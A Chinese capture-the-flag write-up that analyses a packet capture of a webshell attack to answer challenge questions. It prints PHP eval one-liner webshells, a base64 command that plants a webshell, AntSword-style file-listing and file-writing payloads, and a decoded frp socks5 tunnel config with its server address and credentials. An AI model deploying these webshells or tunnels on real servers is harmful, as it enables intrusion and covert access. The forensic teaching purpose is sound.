地方网站不让做吗,wordpress添加 下载文件,哪里有微信网站建设,子域名大全查询陇剑杯 流量分析
链接#xff1a;https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwdhaek
提取码#xff1a;haek目录结构
LearnCTF
├───LogAnalize
│ ├───linux简单日志分析
│ │ linux-log_2.zip
│ │
│ ├───misc日志分析
│ │ …陇剑杯 流量分析
链接https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwdhaek
提取码haek目录结构
LearnCTF
├───LogAnalize
│ ├───linux简单日志分析
│ │ linux-log_2.zip
│ │
│ ├───misc日志分析
│ │ access.log
│ │
│ ├───misc简单日志分析
│ │ app.log
│ │
│ ├───sql注入分析
│ │ SQL.zip
│ │
│ └───windows日志分析
│ security-testlog_2.zip
│
└───TrafficAnalize├───ios│ ios.zip│└───webshellhack.pcap本篇内容题目在 TrafficAnalize - webshell 中
0x01webshell
webshell1
黑客攻击了我的网站不过我记录了之前发生的流量请帮忙分析流量回答webshell1-7
webshell1: 黑客登录系统使用的密码是_____________。
whireshark打开.pcap文件 查询语句
http.request.method POST登录业务的用户名和密码大多使用post方法传递 不难看出用户名和密码
webshell2
webshell-2: 黑客修改了一个日志文件文件的绝对路径为_____________。请确认绝对路径后再提交
/var/www/html/data/Runtime/Logs/Home/21_08_07.log 看两个点
写马linux apache 的默认路径
No.306 写了一个马
Form item: tpl ?php eval($_REQUEST[a]);phpinfo(); ob_flush();?/r/nqscms/company_show 列表名info 企业id$_GET[id]/No.315又写了个ma
Form item: tpl ?php eval($_REQUEST[aaa]);phpinfo(); ob_flush();?/r/nqscms/company_show 列表名info 企业id$_GET[id]/从RCE看ifconfig, pwd来看能确定受害机为Linux
No.329
Form item: aaa system(echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4|base64 -d);一眼base64看看是啥东西 ?php eval($_REQUEST[aaa]);?
是个小马
No.332
Form item: tpl data/Runtime/Logs/Home/21_08_07.log
Form item: aaa system(echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4|base64 -d /var/www/html/1.php);熟悉linux命令操作就能看出黑客修改了文件通过1.php将马写入.log文件这个修改的log的路径是个相对的路径题目需要提交绝对路径 linux中apache的默认路径是/var/www/html拼接相对路径data/Runtime/Logs/Home/21_08_07.log即可
webshell3
webshell-3: 黑客获取webshell之后权限是______
看看黑客是什么权限 黑客使用whoami查看自己的权限 flag为www-data
webshell4
webshell-4: 黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名例如x.txt)
马在哪1.php黑客写向1.php写入马之后用webshell进行RCE当然要向1.php发送请求因为1.php有马
webshell5
webshell-5: 黑客上传的代理工具客户端名字是_____________。如有字母请全部使用小写 No.332在1.php中写了马 No.347之后有一长段TCP加密数据包
所以No.332 到 No.346是考虑的重点 这一段数据包中有请求和响应
其中POST包中的aaa 键有代码 收集5段Php代码看看写的是什么
1
ini_set(display_errors, 0);
set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$outputob_get_contents();ob_end_clean();echo bc.0f2;echo asenc($output);echo f797e.322e0;
}
ob_start();
try {$Ddirname($_SERVER[SCRIPT_FILENAME]);if($D)$Ddirname($_SERVER[PATH_TRANSLATED]);$R{$D} ;if(substr($D,0,1)!/) {foreach(range(C,Z)as $L)if(is_dir({$L}:))$R.{$L}:;} else {$R./;}$R. ;$u(function_exists(posix_getegid))?posix_getpwuid(posix_geteuid()):;$s($u)?$u[name]:get_current_user();$R.php_uname();$R. {$s};echo $R;;
}
catch(Exception $e) {echo ERROR://.$e-getMessage();
}
;
asoutput();
die();
2
ini_set(display_errors, 0);
set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$outputob_get_contents();ob_end_clean();echo 5a3.dc6;echo asenc($output);echo 12f.968a;
}
ob_start();
try {$Ddirname($_SERVER[SCRIPT_FILENAME]);if($D)$Ddirname($_SERVER[PATH_TRANSLATED]);$R{$D} ;if(substr($D,0,1)!/) {foreach(range(C,Z)as $L)if(is_dir({$L}:))$R.{$L}:;} else {$R./;}$R. ;$u(function_exists(posix_getegid))?posix_getpwuid(posix_geteuid()):;$s($u)?$u[name]:get_current_user();$R.php_uname();$R. {$s};echo $R;;
}
catch(Exception $e) {echo ERROR://.$e-getMessage();
}
;
asoutput();
die();3
ini_set(display_errors, 0);
set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$outputob_get_contents();ob_end_clean();echo 43d874.d82ece;echo asenc($output);echo 2cd.697;
}
ob_start();
try {$Dbase64_decode(substr($_POST[j68071301598f],2));$Fopendir($D);if($FNULL) {echo(ERROR:// Path Not Found Or No Permission!);} else {$MNULL;$LNULL;while($Nreaddir($F)) {$P$D.$N;$Tdate(Y-m-d H:i:s,filemtime($P));$Esubstr(base_convert(fileperms($P),10,8),-4);$R .$T. .filesize($P). .$E.
;if(is_dir($P))$M.$N./.$R; else $L.$N.$R;}echo $M.$L;closedir($F);};
}
catch(Exception $e) {echo ERROR://.$e-getMessage();
}
;
asoutput();
die();4
ini_set(display_errors, 0);
set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$outputob_get_contents();ob_end_clean();echo 28.f72;echo asenc($output);echo f486.11f4;
}
ob_start();
try {$fbase64_decode(substr($_POST[j68071301598f],2));$c$_POST[xa5d606e67883a];$cstr_replace(\r,,$c);$cstr_replace(\n,,$c);$buf;for ($i0;$istrlen($c);$i2)$buf.urldecode(%.substr($c,$i,2));echo(fwrite(fopen($f,a),$buf)?1:0);;
}
catch(Exception $e) {echo ERROR://.$e-getMessage();
}
;
asoutput();
die();5
ini_set(display_errors, 0);
set_time_limit(0);
function asenc($out) {return $out;
}
;
function asoutput() {$outputob_get_contents();ob_end_clean();echo 693.d434;echo asenc($output);echo a3.7cb;
}
ob_start();
try {$Dbase64_decode(substr($_POST[j68071301598f],2));$Fopendir($D);if($FNULL) {echo(ERROR:// Path Not Found Or No Permission!);} else {$MNULL;$LNULL;while($Nreaddir($F)) {$P$D.$N;$Tdate(Y-m-d H:i:s,filemtime($P));$Esubstr(base_convert(fileperms($P),10,8),-4);$R .$T. .filesize($P). .$E.
;if(is_dir($P))$M.$N./.$R; else $L.$N.$R;}echo $M.$L;closedir($F);};
}
catch(Exception $e) {echo ERROR://.$e-getMessage();
}
;
asoutput();
die();代码中以POST方法接收了字段j68071301598f的值对值的前两位去掉再base64解码
数据包中恰好有几个j68071301598f的值用base64解码看看写的是什么
base64加密值有两个 hML3Zhci93d3cvaHRtbC8FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ
将原始值前两位去掉解出
/var/www/html/frpc.ini.ini文件是个配置文件。类似的php中有.user.ini作为配置文件利用.user.ini也是ctf中的考点 frpc看上去比较陌生搜一下是个内网穿透工具它会不会是黑客上传的代理工具客户端呢 是的它就是代理工具客户端
比较奇怪的是No.346是加密TCP前的最后一个HTTP响应包 响应的html内容就有frpc.ini如果对frpc比较熟悉应当能直接看出吧
找到的数据包的内容是copy不完整
Frame 343: 1681 bytes on wire (13448 bits), 1681 bytes captured (13448 bits)
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 61922, Dst Port: 8081, Seq: 1, Ack: 1, Len: 1625
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urlencoded[truncated]Form item: aaa ini_set(display_errors, 0);set_time_limit(0);function asenc($out){return $out;};function asoutput(){$outputob_get_contents();ob_end_clean();echo 28.f72;echo asenc($output);echo f486.11f4;}ob_Key: aaaValue [truncated]: ini_set(display_errors, 0);set_time_limit(0);function asenc($out){return $out;};function asoutput(){$outputob_get_contents();ob_end_clean();echo 28.f72;echo asenc($output);echo f486.11f4;}ob_start();try{$Form item: j68071301598f FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQKey: j68071301598fValue: FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ[truncated]Form item: xa5d606e67883a 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355DKey: xa5d606e67883aValue [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A
webshell6
webshell-6: 黑客代理工具的回连服务端IP是_______
上面得到了有关frpc.ini的数据包在这个包中的一个POST参数copy不完整 [truncated]Form item: xa5d606e67883a 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355DKey: xa5d606e67883aValue [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A
代码审计发现代码中以POST接收了xa5d606e67883a的值
数据包中 xa5d606e67883a的值看起来是加密的而且是变长加密考虑加密方式是askii或hex(16进制)
变长加密还有URL编码和base64编码观察它的特征没有%不考虑URL编码没有大写字母或等于号或最后以结尾不考虑base64编码
不考虑md5
不考虑unicode 因为没有/u或/x 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
解出
[common]
server_addr 192.168.239.123
server_port 7778
tokenXa3BJf2l5enmN6Z7A8mv[test_sock5]
type tcp
remote_port 8111
plugin socks5
plugin_user 0HDFt16cLQJ
plugin_passwd JTN276Gp
use_encryption true
use_compression true
一眼丁真
ip 是 192.168.239.123
webshell 7
webshell-7: 黑客的socks5的连接账号、密码是______。中间使用#号隔开例如admin#passwd
上一题解出来了 一眼丁真 0HDFt16cLQJ#JTN276Gp
参考
https://www.cnblogs.com/GKLBB/p/15303391.html 分析黑客到底如何getshell很牛
https://www.cnblogs.com/leo1017/p/17949472 包含流量分析和日志分析很牛
https://www.cnblogs.com/summer14/p/17261624.html 陇剑杯wp相关很牛
https://www.cnblogs.com/lcxblogs/p/15378172.html 陇剑杯wp相关很牛